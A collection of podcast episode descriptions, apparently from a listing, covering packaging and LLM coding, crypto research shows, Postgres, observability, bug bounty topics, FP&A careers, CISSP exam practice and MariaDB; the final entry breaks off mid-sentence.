Fredrik talks to Taylor Troesh about packaging things, generating code, and database evolution. Why is it so hard to package and build things? Is it a failure of ergonomics? Is there hope for a change? We also discuss generating code using LLMs, and Taylor presents the workflow of using them to generate projects from scratch, starting over if more fundamental changes are needed. After that, we dig into databases and SQL, and Taylor has many thoughts and opinions about how they can be used and might evolve. Finally, we discuss other interesting projects, keeping track of ideas, what the OPTC is, and why should you cut down a palm tree? Recorded during Øredev 2024. The episode is sponsored by Ellipsis - let us edit your podcast and make it sound just as good as Kodsnack! With more than ten years and 1200 episodes of experience, Ellipsis gets your podcast edited, chapterized, and described with all related links in a prompt and professional manner. Thank you Cloudnet for sponsoring our VPS! Comments, questions or tips? We a re @kodsnack, @tobiashieta, @oferlundand @bjoreman on Twitter, have a page on Facebook and can be emailed at info@kodsnack.se if you want to write longer. We read everything we receive. If you enjoy Kodsnack we would love a review in iTunes! You can also support the podcast by buying us a coffee (or two!) through Ko-fi. Links Taylor Taylor's keyboard-rich desk setup Taylor's Øredev 2024 talk: How to flatpack programs The IKEA hacking community (or one of them) James Mickens Redux The flux architecture Jquery Toki pona APL Zig SNOBOL Actor model Jq Lisp Scrapscript - Taylor's own language HTMX CRUD Elm Support us on Ko-fi Cursor Neovim Avante - a Cursor alternative for Neovim Sam Altman Sam Colt Sam Morse Postgresql Connecting directly to the database - Svante Richter's talk Supabase SQL Some of Taylor's writings about SQL PRQL - Pipelined relational query language FQL Regex Foundationdb Ellipsis - sponsor of the week: we edit Kodsnack, and we can edit your podcast too! Offensive horticulture A history of microwave ovens Scrapsheets Game of life Trailer buses Follow-up links, thanks to unvisual: Bruck - “a type of bus or coach built to combine goods and passenger transport” Skvader - a Swedish bruck The timeless way of software - Taylor talks about Christopher Alexander, just like we did in episode 657! Titles Nothing besides IKEA I did not besmirch the reputation How strange we package things I don't think I have any advice Failure of ergonomics I do have hope Drinking from the well Brainless CRUD-stuff (I have) No qualms with Elm During the binges Fifteen math professors Tilting against palmtrees OPTC

In this episode, Ali and Deven from Valantis joined us to discuss building on Hyperliquid, LST-focused AMMs, acquiring stHYPE, DEX integrations and BD realities on Hyperliquid, infra constraints (node/Core Writer), and near-term launches.Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. -- Resources Introducing the stHYPE AMM: https://x.com/ValantisLabs/status/1892262812816146832 Acquiring stHYPE: https://x.com/ValantisLabs/status/1957805907246723517 -- Katana is a DeFi-first chain built for deep liquidity and real yield, by redirecting chain revenue back to active DeFi users. The 1 billion KAT campaign is live. Bridge and deposit directly into vaults in one simple click and start earning immediately on your ETH, BTC, USDC, and more.  Go to app.katana.network to check it out.  -- Is your treasury losing value to inflation? Learn how to make digital assets like ETH and SOL productive with uncorrelated, protocol-driven staking rewards.  A new report from Liquid Collective and EigenCloud outlines a practical guide for CFOs to integrate institutional-grade staking and restaking.  Read The Productive Treasury Report: https://liquidcollective.io/corporate-treasury-staking/  -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Follow Valantis: https://x.com/ValantisLabs Follow Ali: https://x.com/0xaioli Follow Devenmat: https://x.com/DevenMat Follow Boccaccio: https://x.com/salveboccaccio Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+UFFz4z3qyrhhMDYx -- Timestamps: (0:00) Introduction (5:59) The stHYPE AMM (13:12) Ads (Katana & EigenCloud) (14:05) What AMMs Are Next? (17:05) Why Did Valantis Choose Hyperliquid? (23:15) Acquiring the stHYPE Protocol (28:45) Ads (Katana & EigenCloud) (29:58) stHYPE vs kHYPE (33:38) DEX Integrations (43:05) Building on Hyperliquid (49:08) Closing Comments -- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter -- Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

Last episode, we lamented Claude's lack of checkpoints to roll back code when it goes off the rails. Other devs feel the same, and this week Checkpoints for Claude Code debuted. It's an MCP server that follows Claude Code, creating checkpoints when tasks are completed, allowing for easy reverts when needed.The Bun team quietly pushed some nice new features in Bun v1.2. Highlights include: a unified SQL client with zero dependencies, native YAML file support, OS native credential storage for secrets, and a security scanner API that scans packages for vulnerabilities before installation.And MCP-UI, a toolkit of interactive UI components for MCP has new features to support resources beyond text like embedded iframes and even raw HTML. Not all agents with MCP support can handle these new resources, but if they can, users can see product photos, data visualizations, and other mini sites right in their AI chat.In the Lightning News section for this week, the folks at Deno leading the charge to get Oracle to relinquish its trademark for JavaScript need our help. Those legal bills aren't going to pay themselves and Deno's pockets aren't nearly as deep as Oracle's, so if you care about making JavaScript public domain (which it absolutely should be), please consider donating so they can keep fighting the good fight to free JS. Every little bit helps.Timestamps:00:48 - Claude Code thinking modes & checkpoints10:33 - Bun v1.217:04 - MCP-UI updates23:06 - Claude for Chrome28:12 - Donate to help Deno fight Oracle30:24 - What's making us happyLinks:Paige - Bun v1.2Jack - MCP-UI updatesTJ - Claude Code Thinking Modes & Claude Code CheckpointsClaude for ChromeDonate to help Deno keep fighting Oracle in courtPaige - Zima Dental PodJack - Foundation TV seriesTJ - Babe Ruth commits fraudThanks as always to our sponsor, the Blue Collar Coder channel on YouTube. You can join us in our Discord channel, explore our website and reach us via email, or talk to us on X, Bluesky, or YouTube.Front-end Fire websiteBlue Collar Coder on YouTubeBlue Collar Coder on DiscordReach out via emailTweet at us on X @front_end_fireFollow us on Bluesky @front-end-fire.comSubscribe to our YouTube channel @Front-EndFirePodcast

The ClickHouse open source project has gained interest in the observability community, thanks to its outstanding performance benchmarks. Now ClickHouse is doubling down on observability with the release of ClickStack, a new open source observability stack that bundles in ClickHouse, OpenTelemetry and  HyperDX frontend. I invited Mike Shi, the co-founder of HyperDX and co-creator of ClickStack, to tell us all about this new project. Mike is Head of Observability at ClickHouse, and brings prior observability experience with Elasticsearch and more.You can read the recap post: https://medium.com/p/73f129a179a3/Show Notes:00:00 episode and guest intro04:38 taking the open source path as an entrepreneur10:51 the HyperDX observability user experience 16:08 challenges in implementing observability directly on ClickHouse20:03 intro to ClickStack and incorporating OpenTelemetry32:35 balancing simplicity and flexibility36:15 SQL vs. Lucene query languages 39:06 performance, cardinality and the new JSON type52:14 use cases in production by OpenAI, Anthropic, Tesla and more55:38 episode outroResources:HyperDX https://github.com/hyperdxio/hyperdx ClickStack https://clickhouse.com/docs/use-cases/observability/clickstack Shopify's Journey to Planet-Scale Observability: https://medium.com/p/9c0b299a04ddClickHouse: Breaking the Speed Limit for Observability and Analytics https://medium.com/p/2004160b2f5e New JSON data type for ClickHouse: https://clickhouse.com/blog/a-new-powerful-json-data-type-for-clickhouseSocials:BlueSky: https://bsky.app/profile/openobservability.bsky.socialTwitter: ⁠https://twitter.com/OpenObserv⁠LinkedIn: https://www.linkedin.com/company/openobservability/YouTube: ⁠https://www.youtube.com/@openobservabilitytalks⁠Dotan Horovits============Twitter: @horovitsLinkedIn: www.linkedin.com/in/horovitsMastodon: @horovits@fosstodonBlueSky: @horovits.bsky.socialMike Shi=======Twitter: https://x.com/MikeShi42LinkedIn: https://www.linkedin.com/in/mikeshi42BlueSky: https://bsky.app/profile/mikeshi42.bsky.socialOpenObservability Talks episodes are released monthly, on the last Thursday of each month and are available for listening on your favorite podcast app and on YouTube.

During this livestream, we discuss new CFTC guidance enabling U.S. access to foreign exchanges and implications for Coinbase, Hyperliquid's revenue growth and L1 comparisons, and the Solana DAT and ETF, and Solana beta plays, including Pump's shifting revenues and streaming push.  Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. -- Bitcoin DeFi is heating up on Aptos, the BTCFi growth chain with nearly $400M in BTC assets supported by a secure, fast, and affordable MVM environment. Aptos users can acquire, hold, and earn attractive BTCFi yields via Echo aBTC and OKX xBTC, without typical bridge risks and high fees.  Explore BTC yield opportunities on Aptos via OKX Earn and Aptos-native platforms https://web3.okx.com/earn/activity/xbtc-aptos  -- Is your treasury losing value to inflation? Learn how to make digital assets like ETH and SOL productive with uncorrelated, protocol-driven staking rewards.  A new report from Liquid Collective and EigenCloud outlines a practical guide for CFOs to integrate institutional-grade staking and restaking.  Read The Productive Treasury Report: https://liquidcollective.io/corporate-treasury-staking/  -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Follow Carlos: https://x.com/0xcarlosg Follow Marc: https://x.com/marcarjoon Follow Nick: https://x.com/0xMetaLight Follow Danny: https://x.com/defi_kay_ Follow Boccaccio: https://x.com/salveboccaccio Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+UFFz4z3qyrhhMDYx -- Timestamps: (0:00) Introduction (3:44) CFTC Allows US Citizen to Trade on Foreign Exchanges (13:43) HYPE's Valuation (28:53) Ads (Aptos & EigenCloud) (29:50) The SOL DAT Trade (46:54) Ads (Aptos & EigenCloud) (48:11) SOL Beta Trades -- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter -- Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

Nik and Michael discuss disks in relation to Postgres — why they matter, how saturation can happen, some modern nuances, and how to prepare to avoid issues. Here are some links to things they mentioned:Nik's tweet demonstrating a NOTIFY hot spot https://x.com/samokhvalov/status/1959468091035009245Postgres LISTEN/NOTIFY does not scale (blog post by Recall ai) https://www.recall.ai/blog/postgres-listen-notify-does-not-scaletrack_io_timing https://www.postgresql.org/docs/current/runtime-config-statistics.html#GUC-TRACK-IO-TIMINGpg_test_timing https://www.postgresql.org/docs/current/pgtesttiming.html PlanetScale for Postgres https://planetscale.com/blog/planetscale-for-postgresOut of disk episode https://postgres.fm/episodes/out-of-disk100TB episode https://postgres.fm/episodes/to-100tb-and-beyond Latency Numbers Every Programmer Should Know https://gist.github.com/jboner/2841832Fio https://github.com/axboe/fio~~~What did you like or not like? What should we discuss next time? Let us know via a YouTube comment, on social media, or by commenting on our Google doc!~~~Postgres FM is produced by:Michael Christofides, founder of pgMustardNikolay Samokhvalov, founder of Postgres.aiWith credit to:Jessie Draws for the elephant artwork

Episode 137: In this episode of Critical Thinking - Bug Bounty Podcast Justin Gardner and Joseph Thacker reunite to talk about AI Hacking Assistants, CSPT and cache deception, and a bunch of tools like ch.at, Slice, Ebka, and more.Follow us on twitter at: https://x.com/ctbbpodcastGot any ideas and suggestions? Feel free to send us any feedback here: info@criticalthinkingpodcast.ioShoutout to YTCracker for the awesome intro music!====== Links ======Follow your hosts Rhynorater and Rez0 on Twitter:https://x.com/Rhynoraterhttps://x.com/rez0__====== Ways to Support CTBBPodcast ======Hop on the CTBB Discord at https://ctbb.show/discord!We also do Discord subs at $25, $10, and $5 - premium subscribers get access to private masterclasses, exploits, tools, scripts, un-redacted bug reports, etc.You can also find some hacker swag at https://ctbb.show/merch!Today's Sponsor - ThreatLocker. Checkout ThreatLocker DAC!https://www.criticalthinkingpodcast.io/tl-dac====== This Week in Bug Bounty ======Vulnerability vectors: SQL injection for Bug Bounty huntersMozilla VPN Clients: RCE via file write and path traversal====== Resources ======Cache Deception + CSPT:dig @ch.atSearchlight Cyber ToolsSliceEbka-Caido-AIpostMessage targetOrigin bypass====== Timestamps ======(00:00:00) Introduction(00:01:26) Claude, Gemini, and Hacking Assistants(00:11:08) AI Safety(00:18:09) CSPT(00:23:26) ch.at, Slice, Ebka, & Searchlight Cyber Tools(00:45:19) postMessage targetOrigin bypass

In this episode of FP&A Tomorrow, host Paul Barnhurst is joined by William Spengler, founder of Frederick Fox, a recruiting firm specializing in placing top-tier finance and accounting talent. They discuss what employers are looking for in FP&A professionals and the growing demand for technical skills such as Power BI, Tableau, and SQL. William shares insights into the current job market, what makes candidates stand out, and why effective communication and a curious mindset are essential for success in finance. The episode is packed with practical advice for job seekers and finance professionals looking to advance in their careers.William is the founder and principal of Frederick Fox, a recruiting firm that specializes in placing finance and accounting talent. Since its launch in 2019, Frederick Fox has grown rapidly, serving over 700 clients with a team of 55+ experienced recruiters. The firm has achieved this growth without outside funding, focusing on speed, accountability, and results. Frederick Fox has redefined the recruiting process, prioritizing lean systems and performance-based partnerships to help companies make confident hires. Outside of work, William is a guitar-playing father of three, a math nerd turned entrepreneur, and an enthusiast of spicy food and hot yoga.Expect to Learn:Why accounting and finance roles are becoming more crucial to businesses todayHow to stand out as an FP&A candidate in a competitive job marketThe importance of mastering technical tools like Power BI, Tableau, and SQLWhy humble curiosity is key to becoming a better business partnerHow recruiters assess FP&A candidates and what skills they prioritizeHere are a few quotes from the episode:“Accountants are becoming like the new software engineers. They're in high demand and increasingly critical to business operations.” - William Spengler“The biggest mistake candidates make is not reaching out directly to hiring managers with relevant examples. Networking is key.” - William Spengler“If you're not networking continuously, you're not future-proofing your career.” - William SpenglerWilliam Spengler shared valuable insights into the FP&A job market, highlighting the demand for technical skills, the importance of effective communication, and the value of humble curiosity. His practical advice on networking, understanding business needs, and positioning yourself for success will help both job seekers and finance professionals advance in their careers. World-class Digital FP&A Course Bundle: Sign up for over ten hours of video content with 4 different courses and 8 modules on FP&A topics, including: Business Partnering, Data Analysis, Financial Modeling Design Principles, and Modern Excel. Use code Podcast to save 25%. What are you waiting for? Sign up today: https://bit.ly/4decOf3Follow FP&A Tomorrow:Newsletter - Subscribe on LinkedIn - https://www.linkedin.com/build-relation/newsletter-follow?entityUrn=6957679529595162624 Follow William:LinkedIn - www.linkedin.com/in/william-spengler-2193433aWebsite: https://frederickfox.com/Facebook:

This is episode 302 recorded on August 20th, 2025, where John & Jason talk the Power BI August 2025 Feature Summary including Copilot in Embedded Reports for SharePoint Online, edit your data model in the Power BI service, TMDL view enhancements, Semantic Model refresh templates with Fabric Data pipelines, and more. For show notes please visit www.bifocal.show

AI is reshaping business intelligence by enabling true self-service analytics and transforming how organizations interact with their data through natural language processing. In this episode of The Data Engineering Show, host Benjamin interviews Lei, Co-founder and CTO of Fabi.ai, to explore how AI-native BI platforms are reshaping data analytics and empowering non-technical users to derive meaningful insights from complex datasets.

This week on The Data Stack Show, Brooks and John welcome back Kostas Pardalis, long-time co-host of the Data Stack Show and now Co-Founder of typedef. The group discusses the rapid evolution of AI and data infrastructure. The conversation also explores how AI is accelerating industry change, the challenges of integrating large language models (LLMs) into data workflows, and the limitations of current semantic layers. Kostas shares insights on building next-generation query engines, the importance of using familiar engineering paradigms, and the need to make AI seamless and almost invisible in user experiences. Key takeaways include the necessity of practical, incremental innovation, the reality behind AI hype, strategies for making advanced data tools accessible and reliable for engineers and businesses alike, and so much more. Highlights from this week's conversation include:Kostas's Background and Career Timeline (1:10)Transition from RudderStack to Starburst Data (4:25)AI Acceleration and Industry Impact (9:37)AI Hype, Investment, and Polarized Reactions (12:05)Historical Parallels and Tech Adoption (13:54)AI Disrupting Tech Workers and Internal Drama (18:56)Experimentation Phase and Future AI Applications (24:01)Invisible AI and User Experience (28:21)AI in Data Infrastructure and LLMs (34:24)SQL, LLMs, and Engineering Solutions (36:35)Standardization, Semantic Layers, and Data Modeling (41:01)Introduction to typedef (45:49)Productionizing AI Workloads with typedef (51:36)Familiarity, Reliability, and Engineering Best Practices (57:24)Security, Enterprise Concerns, and Open Source Models (1:00:48)Final Thoughts and Takeaways (1:01:47)The Data Stack Show is a weekly podcast powered by RudderStack, customer data infrastructure that enables you to deliver real-time customer event data everywhere it's needed to power smarter decisions and better customer experiences. Each week, we'll talk to data engineers, analysts, and data scientists about their experience around building and maintaining data infrastructure, delivering data and data products, and driving better outcomes across their businesses with data.RudderStack helps businesses make the most out of their customer data while ensuring data privacy and security. To learn more about RudderStack visit rudderstack.com.

Welcome to another episode of Data Driven! Today, hosts Frank La Vigne and Andy Leonard, are joined by Dr. Ido Zamberg—a rare breed who's equally comfortable rebooting servers and saving lives. Dr. Zamberg is a physician, software engineer, chief medical officer at C8 Health, and a true innovator at the intersection of medicine and technology. In this episode, we dive into his unique journey from startups and coding to the operating room, exploring how his hands-on technical expertise is helping frontline clinicians access real-time, AI-powered decision support.Expect fascinating insights into the evolution of healthcare technology, the challenges (and rewards) of bridging vastly different worlds, and why seamless access to best practices at the point of care can be truly lifesaving. Dr. Zamberg shares anecdotes from his career, reflects on the importance of context-driven solutions, and offers a behind-the-scenes look at making clinical workflows smarter, faster, and safer with modern AI. So if you're curious about how SQL queries meet scalpel skills, this is an episode you won't want to miss!Time Stamps00:00 From Software Engineer to Physician-Entrepreneur06:04 "From Tech to Medicine: A Journey"07:43 Tech-Medicine Integration Challenges12:55 Diverse Medical Experience Overview14:49 "Healthcare Solutions Over Tech Focus"18:41 Hospital Best Practices Standardization20:46 Streamlined Clinician Information Platform23:59 Solving Healthcare Inefficiencies29:22 Understanding the Challenges of Tough Jobs30:11 Practice Grace Over Wealth33:59 Healthcare Platform for Providers39:11 Generative AI in Clinical Queries42:16 Value of Expertise in Problem-Solving43:48 Praising Expert in AI Medicine47:50 AI Revolutionizing Healthcare Information51:27 Data, Coffee, and Code Insights

In this episode, we went live to discuss Kaito's business model, revenues, and token dynamics. We also took a look at lending markets, including Aave's dominance, Morpho's growth, and Maple and Euler's momentum. Finally, we reviewed Aerodrome's Coinbase integration and Fluid's expansion plans.Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. -- Katana is a DeFi-first chain built for deep liquidity and real yield, by redirecting chain revenue back to active DeFi users. The 1 billion KAT campaign is live. Bridge and deposit directly into vaults in one simple click and start earning immediately on your ETH, BTC, USDC, and more.  Go to app.katana.network to check it out.  -- Is your treasury losing value to inflation? Learn how to make digital assets like ETH and SOL productive with uncorrelated, protocol-driven staking rewards.  A new report from Liquid Collective and EigenCloud outlines a practical guide for CFOs to integrate institutional-grade staking and restaking.  Read The Productive Treasury Report: https://liquidcollective.io/corporate-treasury-staking/  -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Follow Carlos: https://x.com/0xcarlosg Follow Daniel: https://x.com/_dshap Follow Kunal: https://x.com/Kunallegendd Follow Danny: https://x.com/defi_kay_ Follow Boccaccio: https://x.com/salveboccaccio Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+UFFz4z3qyrhhMDYx -- Timestamps: (0:00) Introduction (4:17) What's Next For Kaito? (28:32) Ads (Katana & Eigen Cloud) (29:36) Lending Market Update (52:47) Ads (Katana & Eigen Cloud) (54:08) Updates on Aerodrome & Fluid (1:30:20) Closing Comments -- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter -- Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

During this livestream, we dive into the rise of state and corporate stablecoins, and Stripe's blockchain strategy. We also discuss Walmart's potential stablecoin, Circle's business model, network extensions on Solana, Avalanche's positioning, and overall market sentiment amid volatility. Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. -- Bitcoin DeFi is heating up on Aptos, the BTCFi growth chain with nearly $400M in BTC assets supported by a secure, fast, and affordable MVM environment. Aptos users can acquire, hold, and earn attractive BTCFi yields via Echo aBTC and OKX xBTC, without typical bridge risks and high fees.  Explore BTC yield opportunities on Aptos via OKX Earn and Aptos-native platforms https://web3.okx.com/earn/activity/xbtc-aptos  -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Follow James: https://x.com/JamesChristoph_ Follow Carlos: https://x.com/0xcarlosg Follow Marc: https://x.com/marcarjoon Follow Danny: https://x.com/defi_kay_ Follow Boccaccio: https://x.com/salveboccaccio Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+z0H6y2bS-dllODVh -- Timestamps: (0:00) Introduction (5:59) State & Corporate Stablecoins (20:47) Aptos Ad (21:22) Walmart's Stablecoin (29:50) Will the Stripe L1 Have a Token? (49:52) Chains Maintaining Relevancy (58:55) Aptos Ad (1:01:11) Market Outlook -- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter -- Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

Nik and Michael discuss multi-column indexes in Postgres — what they are, how to think about them, and some guidance around using them effectively. Here are some links to things they mentioned:Multicolumn Indexes (docs) https://www.postgresql.org/docs/current/indexes-multicolumn.htmlOur episode on Index-only scans https://postgres.fm/episodes/index-only-scansCombining Multiple Indexes (docs) https://www.postgresql.org/docs/current/indexes-bitmap-scans.htmlEnable BUFFERS with EXPLAIN ANALYZE by default https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=c2a4078ebad71999dd451ae7d4358be3c9290b07“PostgreSQL includes an implementation of the standard btree […] The only limitation is that an index entry cannot exceed approximately one-third of a page” https://www.postgresql.org/docs/current/btree.htmlOur episode on HOT updates https://postgres.fm/episodes/hot-updatesOur episode on LIMIT vs Performance https://postgres.fm/episodes/limit-vs-performance~~~What did you like or not like? What should we discuss next time? Let us know via a YouTube comment, on social media, or by commenting on our Google doc!~~~Postgres FM is produced by:Michael Christofides, founder of pgMustardNikolay Samokhvalov, founder of Postgres.aiWith credit to:Jessie Draws for the elephant artwork

This is episode 301 recorded on August 20th, 2025, where John & Jason talk with friends and fellow podcasters Andrew Connell & Julie Turner of the Code.Deploy.GoLive show about how this podcast is AC's fault in the first place, what they are doing with their new podcast, community, and general shenanigans to celebrate the BIFocal.show's 300th episode. For show notes please visit www.bifocal.show

Is it a database software? An operating system? It's both. Produced by Richard Pick, nicknamed "Dick", (Yes, I know) Pick OS is older than SQL, UNIX, or CP/M. I have never seen anything like it, and the people who use it tend to love it to death. In today's video, we explore a unique database software plus operating system.

Rahul Auradkar, executive VP and GM at Salesforce, grew up in India with a deep passion for cricket, where his love for the game sparked an early interest in data. This fascination with statistics laid the foundation for his current work leading Salesforce's Data Cloud and Einstein (Unified Data Services) team. Auradkar reflects on how structured data has evolved—from relational databases in enterprise applications to data warehouses, data lakes, and lakehouses. He explains how initial efforts focused on analyzing structured data, which later fed back into business processes. Eventually, businesses realized that the byproducts of data—what he calls "data exhaust"—were themselves valuable. The rise of "old AI," or predictive AI, shifted perceptions, showing that data exhaust could define the application itself. As varied systems emerged with distinct protocols and SQL variants, data silos formed, trapping valuable insights. Auradkar emphasizes that the ongoing challenge is unifying these silos to enable seamless, meaningful business interactions—something Salesforce aims to solve with its Data Cloud and agentic AI platform.Learn more from The New Stack about the evolution of structured data and agent AI: How Enterprises and Startups Can Master AI With Smarter Data Practices Enterprise AI Success Demands Real-Time Data PlatformsJoin our community of newsletter subscribers to stay on top of the news and at the top of your game.

Is it a database software? An operating system? It's both. Produced by Richard Pick, nicknamed "Dick", (Yes, I know) Pick OS is older than SQL, UNIX, or CP/M. I have never seen anything like it, and the people who use it tend to love it to death. In today's video, we explore a unique database software plus operating system.

Send us a textCheck us out at:  https://www.cisspcybertraining.com Get access to 360 FREE CISSP Questions:  https://www.cisspcybertraining.com/offers/dzHKVcDB/checkoutGet access to my FREE CISSP Self-Study Essentials Videos:  https://www.cisspcybertraining.com/offers/KzBKKouvA catastrophic data loss incident involving South Yorkshire Police serves as a powerful security lesson in today's episode. We examine how 96,174 pieces of body-worn video evidence vanished during an IT upgrade, affecting 126 criminal cases. This real-world security failure highlights the critical importance of proper data management, backups, and third-party oversight—fundamental concepts that directly apply to your CISSP exam preparation.The heart of this episode tackles five challenging CISSP exam questions spanning multiple security domains. We methodically work through complex scenarios involving encryption algorithm selection, mitigating Single Sign-On risks in healthcare environments, containing Advanced Persistent Threats, addressing cross-border data protection compliance, and handling SQL injection vulnerabilities in government applications.For each question, I break down the critical thinking process that helps you eliminate incorrect answers and identify the best solution. You'll understand why AES-256 balances security and performance for financial data, how multi-factor authentication strengthens SSO implementations, when network segmentation becomes crucial for APT containment, why Data Loss Prevention systems address insider threats, and the importance of parameterized queries in secure software development.This episode demonstrates how to approach scenario-based questions methodically, turning what seems overwhelming into manageable decision points. By breaking down complex questions step-by-step, you dramatically improve your chances of success on the CISSP exam while building practical security knowledge that translates directly to real-world challenges.Visit CISSP Cyber Training for more resources, including 360 free practice questions to accelerate your certification journey. Remember, a methodical approach to security problems is your path to passing the CISSP exam the first time.Support the showGain exclusive access to 360 FREE CISSP Practice Questions delivered directly to your inbox! Sign up at FreeCISSPQuestions.com and receive 30 expertly crafted practice questions every 15 days for the next 6 months—completely free! Don't miss this valuable opportunity to strengthen your CISSP exam preparation and boost your chances of certification success. Join now and start your journey toward CISSP mastery today!

Feeling behind on your data journey? Don't worry. Today, I'll list down the 13 signs that prove you're actually ahead (even if you're actually doing just some of these).✨ Try Julius today at https://landadatajob.com/Julius-YT

When I first tried to learn JavaScript, I hated it so much I told myself I'd just be an HTML and CSS developer and never touch it again. Of course, my first job threw me straight into Angular, C#, SQL, and a mountain of JavaScript I wasn't ready for.In this episode, I share what made JavaScript so brutal for me (and for almost every student I've worked with), the mistakes that keep people stuck, and the science-backed strategies that actually helped me go from totally lost to confident. If you've been banging your head against for loops, callbacks, or just “getting it,” this one's for you.Send us a textShameless Plugs

MariaDB is a name with deep roots in the open-source database world, but in 2025 it is showing the energy and ambition of a company on the rise. Taken private in 2022 and backed by K1 Investment Management, MariaDB is doubling down on innovation while positioning itself as a strong alternative to MySQL and Oracle. At a time when many organisations are frustrated with Oracle's pricing and MySQL's cloud-first pivot, MariaDB is finding new opportunities by combining open-source freedom with enterprise-grade reliability. In this conversation, I sit down with Vikas Mathur, Chief Product Officer at MariaDB, to explore how the company is capitalising on these market shifts. Vikas shares the thinking behind MariaDB's renewed focus, explains how the platform delivers similar features to Oracle at up to 80 percent lower total cost of ownership, and details how recent innovations are opening the door to new workloads and use cases. One of the most significant developments is the launch of Vector Search in January 2023. This feature is built directly into InnoDB, eliminating the need for separate vector databases and delivering two to three times the performance of PG Vector. With hardware acceleration on both x86 and IBM Power architectures, and native connectors for leading AI frameworks such as LlamaIndex, LangChain and Spring AI, MariaDB is making it easier for developers to integrate AI capabilities without complex custom work. Vikas explains how MariaDB's pluggable storage engine architecture allows users to match the right engine to the right workload. InnoDB handles balanced transactional workloads, MyRocks is optimised for heavy writes, ColumnStore supports analytical queries, and Moroonga enables text search. With native JSON support and more than forty functions for manipulating semi-structured data, MariaDB can also remove the need for separate document databases. This flexibility underpins the company's vision of one database for infinite possibilities. The discussion also examines how MariaDB manages the balance between its open-source community and enterprise customers. Community adoption provides early feedback on new features and helps drive rapid improvement, while enterprise customers benefit from production support, advanced security, high availability and disaster recovery capabilities such as Galera-based synchronous replication and the MacScale proxy. We look ahead to how MariaDB plans to expand its managed cloud services, including DBaaS and serverless options, and how the company is working on a “RAG in a box” approach to simplify retrieval-augmented generation for DBAs. Vikas also shares 